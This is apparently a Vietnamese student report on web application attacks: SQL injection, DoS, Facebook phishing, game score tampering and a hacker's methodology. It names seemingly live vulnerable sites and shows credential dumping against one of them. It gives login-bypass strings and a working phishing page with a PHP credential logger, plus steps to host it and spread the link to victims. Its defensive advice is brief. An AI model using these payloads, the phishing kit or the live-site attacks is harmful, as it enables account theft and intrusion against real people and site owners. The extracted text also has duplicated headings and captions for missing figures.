SQL injection là một kỹ thuật cho phép Hacker lợi dụng lỗ hổng trong việc kiểm tra dữ liệu nhập trong các ứng dụng web và các thông báo lỗi của hệ quản trị cơ sở dữ liệu để "chèn vào" (inject) và thi hành các câu lệnh SQL bất hợp pháp (không được người phát triển ứng dụng lường trước hay lỗi ngoại lệ). Hậu quả của nó rất tai hại vì nó cho phép Hacker có thể thực hiện các thao tác xóa, hiệu chỉnh,… Do có toàn quyền trên cơ sở dữ liệu của ứng dụng, thậm chí là máy chủ mà ứng dụng đó đang chạy. Lỗi này thường xảy ra trên các ứng dụng web có dữ liệu được quản lí bằng các hệ quản trị cơ sở dữ liệu như SQL Server, MySQL, Oracle,...
Để xác biết websie nào dính lỗi SQL injection ta thêm dấu “ ’ ” vào sau thanh địa chỉ.
Ví dụ 1: http://www.locanresort.com/index.php?do=page&id=3‘sẽ xuất hiện thông báo như hình sau.
Hình 2.7: Một site bị lỗi SQL Injecion.
Ví dụ 2:
Hình 2.8: Một site khác cũng lỗi SQL Injection.
Mọi thông báo lỗi đều được Hacker ghi nhận và sẽ tìm cách vượt qua những lỗi đó để vào được bên trong của hệ thống.
Tấn công SQL Injection vượt form đăng nhập đơn giản Đầu tiên ta tạo 1 database đơn giản như sau:
CREATE TABLE `members` (
`id` int(4) NOT NULL auto_increment,
`username` varchar(65) NOT NULL default '', `password` varchar(65) NOT NULL default '', PRIMARY KEY (`id`)
);
INSERT INTO `members` VALUES (1, 'admin', 'admin123');
Thông thường, để làm 1 trang đăng nhập, người thiết kế web sẽ viết 1 đoạn mã như sau:
<td>Username</td>
<td ><input name="myusername" type="text" id="myusername"></td> <td>Password</td>
<td><input name="mypassword" type="text" id="mypassword"></td> <td><input type="submit" name="Submit" value="Login"></td>
File checklogin.php nằm trên server dùng để kiểm tra thông tin do user nhập vào
có nội dung:
<?php
……….. $db_name="test"; $tbl_name="members";
mysql_connect("$host", "$username", "$password")or die("Không thể kết nối");
mysql_select_db("$db_name")or die("cannot select DB"); $myusername=$_POST['myusername'];
$mypassword=$_POST['mypassword'];
$sql="SELECT * FROM $tbl_name WHERE username='$myusername' and
password='$mypassword'"; $result=mysql_query($sql);
$count=mysql_num_rows($result); if($count==1){
echo "CHUC MUNG BAN LOGIN THANH CONG"; }
else {
echo "SAI TEN DANG NHAP HOAC MAT KHAU"; }
?>
‘login'. Giá trị sẽ được browser chuyển về cho checklohin.php kiểm tra bằng cách dùng câu truy vấn :
SELECT * FROM $tbl_name WHERE username='$myusername' and password='$mypassword'"
Mọi thứ có vẻ OK ? Chuỗi truy vấn cũng OK. Nhưng nếu 1 trang login được làm như thế thì 1 hacker sẽ có thể dễ dàng đăng nhập mà không cần một password hợp lệ nào đó. Nhìn lại chuỗi truy vấn:
“SELECT * FROM $tbl_name WHERE username=’admin’ and password='hi' or 'a'='a’ ".
Click 'Login' và chuyện gì đã xảy ra => đăng nhập thành công.
Chuỗi truy cập được thoả mãn khi điều kiện là password bằng 'hi' or 'a'='a’. Điều này luôn đúng và hacker sẽ đăng nhập với nick 'hack'. Có thể thử các chuỗi sau đây trong ô password nếu cách trên không làm được với một số website:
hi" or "a"="a hi" or 1=1 -- hi' or 1=1 -- hi') or ('a'='a hi") or ("a"="a 2.5.2Một số biện pháp bảo mật khắc phục
Việc tấn công SQL Injection dựa vào những câu thông báo lỗi do đó việc phòng chống hữu hiệu nhất là không cho hiển thị những thông điệp lỗi hệ thống cho người dùng thay vào đó bằng một thông báo lỗi do người lập trình hay quản trị viên phát triển thiết kế mỗi khi lỗi xảy ra trên ứng dụng.
Kiểm tra kỹ giá trị nhập vào của người dùng, những kí tự đặt biệt,... Hãy loại bỏ các kí tự “, ’, ”, /, \, ;, “ và các từ khóa như NULL, CR, LF,... Sử dụng phương thức POST và mã hóa thanh URL của trình duyệt máy khách. Cô lập máy chủ CSDL và máy chủ WEB hay nói cách khách là máy chủ CSDL không được cài trên máy chủ WEB để đảm bảo tính bảo mật.
Nên sử dụng tài khoản với đặc quyền thấp để truy xuất vào CSDL. Có nghĩa là không phải nhất thiết khi nào cũng phải xài đến quyền Admin hay Root mà nên phân quyền cho các User đúng với mục đích của công việc, đúng với ý đồ của người quản trị viên.
CHƯƠNG 3: THỰC HÀNH VÀI KỸ THUẬT TẤN CÔNG ỨNG DỤNG WEB 3.1KỸ THUẬT TẤN CÔNG CHÈN MÃ LỆNH SQL (SQL INJECTION) 3.1.1Chuẩn bị
Để mà tấn công với kỹ thuật SQL Injection thì việc đầu tiên là phải xác định được site có lỗ hổng SQL Injection. Nếu chúng ta chưa xác định được lổ hổng mà cứ tấn công bừa thì không khác gì tấn công trong tuyệt vọng. Vậy để xác định được một site bị lỗi SQL Injection ta có nhiều cách sau đây là 2 cách được sử dụng phổ biến.
Dùng công cụ quét lỗ hổng
Ở đây sử dụng công cụ MaxISploit để quét các lỗ hổng về ứng dụng WEB, vì lý do các bài demo này được thực hiện trên các site còn sống trên Internet nên các thông tin nhạy cảm về site sẽ được che dấu, ví dụ như tên website,...
Hình 3.1: Quét lỗ hổng SQL Injection.
Như vậy là công cụ đã tìm ra lỗ hổng của site này là: http://doanhnhandaiviet.vn/product.php?id=517 Thủ công
Phương pháp thủ công thì khá là đơn giản hơn so với chúng ta dùng công cụ nhưng cũng phải nói là hên xui vì khi thử cách này thì may mắn chúng ta sẽ thử đúng với site bị lỗi. Chỉ cần ta thêm “ ‘ ” vào sau đường dẫn của site nếu nó bị lỗi thì sẽ như hình sau.
Hình 3.2: Thông báo site bị lỗi SQL Injection.
3.1.2Hiện thực
Ta lấy đường dẫn bị lỗi SQL Injection đưa vào công cụ để quét có tên là Havij
Hình 3.3: Công cụ Havij.
Thay vì chúng ta phải tìm tổng số table trong cơ sở dữ liệu thì chương trình sẽ tìm giúp chúng ta và nó sẽ load cho ta thấy tất cả các table để ta chọn.
Hình 3.4: Havij đã tìm thấy tài khoản.
Vậy là công cụ đã tìm thấy tài khoản và mật khẩu. Việc tiếp theo là Havij tìm đến trang đăng nhập vào admin.
Hình 3.5: Havij đã tìm thấy trang đăng nhập.
3.2KỸ THUẬT TẤN CÔNG TỪ CHỐI DỊCH VỤ MỘT WEBSITE (DOS) 3.2.1Chuẩn bị 3.2.1Chuẩn bị
Vì kỹ thuật này khá là nguy hiểm, sẽ không demo trực tiếp trên các website còn sống trên Internet nên sẽ dựng một website trên nền windows server 2k3 hay linux gì cũng được. Để đánh DOS trong mạng LAN thành công thì chúng ta cần chỉnh băng thông của website đó thấp xuống hoặc là số lượng kết nối đến website đó có giới hạn thì mới thấy rõ “từ chối dịch vụ” được. Ta vào thuộc tính của site đó trên IIS chỉnh lại như sau.
Hình 3.7: Giới hạn băng thông hoặc kết nối đến trang WEB.
3.2.2Hiện thực
Sử dụng công cụ để tấn công, tấn công DOS thì khá là dễ dàng chủ yếu là chúng ta hiểu được nguyên lý hoạt động của kỹ thuật tấn công này và phần sau này sẽ nói rõ nó lưu vết lại khi tấn công DOS, từ đó ta có thể tìm ra thủ phạm tấn công hệ thống mạng.
Hình 3.8: Công cụ tấn công DOS.
Hình 3.10 Máy chủ đã bị từ chối dịch vụ.
Để có thể biết được thủ phạm DOS website của mình là ai thì chúng ta sẽ phải đọc file log của hệ thống
Hình 3.12: File log của máy chủ web.
Với file này ta hoàn toàn có thể biết được chủ nhận của các cuộc tấn công DOS vào các máy chủ hay với website của chúng ta.
3.3KỸ THUẬT TẤN CÔNG GIẢ MẠO TRANG WEB (WEB PHISHING) 3.3.1Chuẩn bị 3.3.1Chuẩn bị
Phishing là một kỹ thuật hack phổ biến và nguy hiểm để ăn cấp thông tin bí mật của mọi người bằng cách tạo ra các trang đăng nhập giả. Hôm nay mình sẽ cho các bạn và thầy cô thấy làm thế nào để tạo ra được một trang giả mạo đơn giản.
Để thực hiện chúng ta cần tạo ra 3 file sau : 1) facebook.html, 2) mail.php, 3) log.txt
Bước 1:
Mở 1 trang web mà bạn muốn tạo fake login page. Ở đây mình ngái trang facebook.com. Hiện trang được rất nhiều người sử dụng , ta click chuột phải và chọn xem nguồn trang ( View page source )
Hình 3.13: Xem nguồn của website
Còn bây giờ ta hãy xóa toàn bộ nội dung trong “ ” và thay thế đó thành
Hình 3.14: Thay đổi phương thức truyền. Xong rồi ta lưu file trên lại với tên là “facebook.html”
Hình 3.15: Lưu file login.html Vậy là ta làm xong file fake login.html
<?php
header ('Location: https://www.facebook.com/login.php?login_attempt=1'); $handle = fopen("log.txt", "a");
foreach($_GET as $variable => $value) { fwrite($handle, $variable); fwrite($handle, "="); fwrite($handle, $value); fwrite($handle, "\r\n"); } fwrite($handle, "\r\n"); fclose($handle); exit; ?>
Hình 3.16: Code trang mail.php
.Khi ai đó click vào chữ đăng nhập trên fake page của bạn thì sẽ được chuyển hướng sang cái link “https://www.facebook.com/login.php?login_attempt=1”... đó là link thông báo sai mật khẩu nhằm đánh lạc hướng victim và bạn có thể chỉnh lại cái link đó tùy theo cách sử dụng của bạn.
Bước 3:
Tạo ra tiếp 1 file nữa là "log.txt" rồi để đó.
Vậy là xong...tiếp theo các bạn upload cả 3 file này nên 1 webhosting nào đó. Sau khi UPLOAD xong link fake page của bạn sẽ có dạng như hình sau :
Hình 3.17: Web hosting giả mạo đã Up lên.
3.3.2Hiện thực
Sau khi đã chuẩn bị xong hết giờ ta bằng một thủ thuật nào đó sẽ link này đến cho nhiều người. Khi họ gõ tài khoản và pass vào đó thì những thông tin đó sẽ được lưu lại ở file log.txt trên host. Mở file log.txt đó lên để xem.
3.4 Hack điểm trong Flash game3.4.1Chuẩn bị 3.4.1Chuẩn bị
Công cụ ta sử dụng cho vấn đề này ta chọn 1 ứng dụng tiêu biểu như là add on “Tamper data” của trình duyệt Firefox.
3.4.2Hiện thực
Bước 1: Sau khi chơi game xong, đăng nhập với tài khoản và pass vào hệ thống để lưu điểm. Trước khi click nút lưu điểm ta chọn Tools Tamper Data trên trình duyệt của Firefox.
Hình 3.19: Mở tiện ích Tamper Data Bước 2: Start tamper data
Hình 3.20 Bật chức năng Tamper Data
Bước 3: Khi ta bấm lưu điểm thì bảng tamper data hiện lên. Ta bấm vào chữ Tamper, ta chỉ cần thay đổi giá trị gscore=”***” sau đó bấm Sumit. Vậy là xong ta đã thay đổi được giá trị điểm người chơi game .
Hình 3.21: Thay đổi giá trị từ phía client gửi lên Server.
Kết quả xếp hạng cuối cùng của quá trìnhvà so với kết quả chơi bình thường. Từ hạng 345 đã nhảy lên vị trí số 1 .
Hình 3.22: Kết quả cuối của tamper data.
CHƯƠNG 4: TỔNG KẾT QUÁ TRÌNH TẤN CÔNG CỦA HACKER 4.1THU THẬP THÔNG TIN Ở MỨC CƠ SỞ HẠ TẦNG
4.1.1FootPrinting (in dấu chân)
Thu thập thông tin về cơ sở hạ tầng máy chủ WEB là bước đầu tiên trong tấn công ứng dụng WEB, đây là cách mà Hacker làm khi muốn lấy một lượng thông tin tối đa về máy chủ WEB cũng như công ty hay người quản trị bao gồm về địa chỉ IP, DNS, hệ điều hành gì,... là những thông tin cần thiết liên quan đến mục tiêu của cuộc tấn công.
Tra cứu trực tuyến với các thông tin liên quan máy chủ WEB như IP, hiện records DNS đăng kí tại máy chủ DNS nào, thông tin về người quản trị viên đứng tên miền. Công cụ: http://www.whois.net http://www.iptools.com http://netcraft.com http://www.tamos.com
Hình 4.1: Giao diện trang whois.net.
Hình 4.3: Thông tin về máy chủ DNS.
Hình 4.4: Thông tin về máy chủ WEB. Nhận xét: Với vài thao tác đã lấy được thông tin cần thiết.
4.1.2Scanning (quét thăm dò)
Network Scanning là quá trình tìm hiểu thông tin vê các livehost trên mạng để giúp hacker quyết định kiểu tấn công nào vào hệ thống. Trong quá trình scanning hacker sẽ tìm hiểu các thông tin về :
+ Host : IP , OS , port , services đang mở ....
+ Network : Network topology, network security(firewall,IDS) ... + Vulnerability : các lỗi của host hoặc network.
- Điều kiện cần của scanning: có khả năng kết nối với mục tiêu - Hacker sẽ gửi nhiều gói tin để tấn công và phân tích thông tin . Sử dụng các công cụ như là :
Nmap
NetScan Tools Pro Hping
Fping SuperScan Fscan Nmap
Ví dụ: Quét máy chủ http://www.stu.edu.vn với nmap
Hình 4.6: Thông tin về hệ điều hành máy chủ đang sử dụng
Nhận xét: Với 2 hình cũng đã đủ để cho Hacker lên kế hoạch tấn công vào máy chủ rồi.
4.1.3Enmeration (liệt kê lỗ hổng)
Liệt kê lỗ hổng của máy chủ là tìm kiếm những tài nguyên hay dịch vụ hay ứng dụng nào đó chạy trên máy chủ được bảo vệ kém hoặc những tài khoản mặc định đang được mở, các script và các dịch vụ mặc định đang mở. Rất nhiều quản trị viên không biết điều này, đây chính là những lỗ hổng dễ khai thác bởi Hacker.
Công cụ:
Acunetix Web Vulnerability Scanner Weblnspect
Urlscan Nessus WWWhack
BlackWidow
Ví dụ: dùng công cụ Acunetix WEB Vulnerability Scanner lỗ hổng của ứng dụng WEB.
Hình 4.7: Công cụ Acunetix Web Vulnerability phát hiện lỗ hổng Web.
4.1.4Gaining Access (tìm cách xâm nhập)
Đến bước này Hacker sẽ tìm cách truy cập vào mạng bằng những thông tin có được dựa trên các bước trên hay nói cách khác phải phân tích những gì đã thu thập được và xác nhận được điểm yếu của máy chủ ứng dụng WEB và dụng các công cụ tấn công vào nhằm mục đích có thể là lấy thông tin tài khoản, email, giải mã password.
4.1.5Escalating privilege (leo thang đặc quyền)
Trường hợp Hacker xâm nhập vào hệ thống mạng với một tài khoản nào đó, thì họ sẽ tìm cách kiểm soát toàn bộ hệ thống. Hacker sẽ tìm cách crack password của admin hoặc sử dụng lỗ hổng leo thang theo đặc quyền.
4.1.6Pilfering (file chứa password có lỗ hổng)
Bước này được coi là hên xui vì trong lộ trình Hacker có thể có bước này hoặc không. Các bước trên quét hệ hống mạng máy chủ nếu có các file chứa password mà chưa mã hóa tốt thì Hacker có thể dựa vào những yếu tố đấy để crack password. File chứa password có thể là các file text được lưu trong cơ sở dữ liệu hay mã hóa md5 mà giới hạn các số ký tự khiến cho Hacker có thể giải mã nhanh chóng.
4.1.7Covering Tracks (xóa dấu vết)
Công đoạn này khá là quan trọng nó quyết định Hacker xâm nhậm vào hệ thống là người đẳng cấp hay không. Với một Hacker mới vào nghề thì việc này rất khó khăn nhưng dần dần có kinh nghiệm thì việc xóa dấu vết không để người quản trị viên phát hiện và cũng không thể lần ra dấu vết chứng tỏ Hacker đã từng đặt chân lên hệ thống này. Hacker chuyên nghiệp họ là những người khá là thận trọng đi đến đâu trong hệ thống mạng họ liền xóa dấu vết đến đó để chứng cho điều này là tổ chức FBI đã từng bị một nhóm Hacker viếng thăm nhiều lần nhưng số lần họ bắt được thì quá ít so với thực tế.
4.1.8Creating Backdoors (tạo sẵn lỗ hổng cho lần sau xâm nhập dễ hơn)
Hacker rất khôn khéo khi tạo ra “Backdoors” để lần sau xâm nhập vào hệ thống máy chủ không phải tốn công sức như lần đầu tiên, lần sau chỉ đi vào bằng con đường Hacker đã tạo sẵn ra trong lần đầu tiên viếng thăm. Thường thì cài đặt Trojan hay Hacker mở lỗ hổng nào đấy trên hệ điều hành hoặc các phần mềm ứng dung .
4.2KHẢO SÁT ỨNG DỤNG WEB
Khảo sát ứng dụng thật sự hiểu quả thì Hacker phải tìm hiểu rõ về Website cũng như các ngôn ngữ viết Web từ đó biết được điểm yếu của từng ngôn ngữ. Chắc hiệu quả nhất chính là xem nguồn của trang WEB để từ đó tìm ra lỗ hổng. Như ví dụ ở tấn công SQL Injection thì việc xem nguồn của form đăng nhập không khó khăn gì và Hacker chỉ việc nghĩ ra các để vượt qua form đăng nhập mà thôi. Hacker thường chý đến:
Luồng di chuyển thông tin
Đây là sự tương tác giữa máy chủ và máy khách. Hacker cần biết những thông tin chính xác về máy chủ cũng như máy khách, các gói tin giữa máy chủ và máy khách. Từ đó có thể tìm ra lỗ hổng nhập dữ liệu lên máy chủ.
Vượt qua cơ chế kiểm soát (authentication, authorization)
Hacker có thể đoán mật khẩu của một tài khoản nào đấy hay dùng chương trình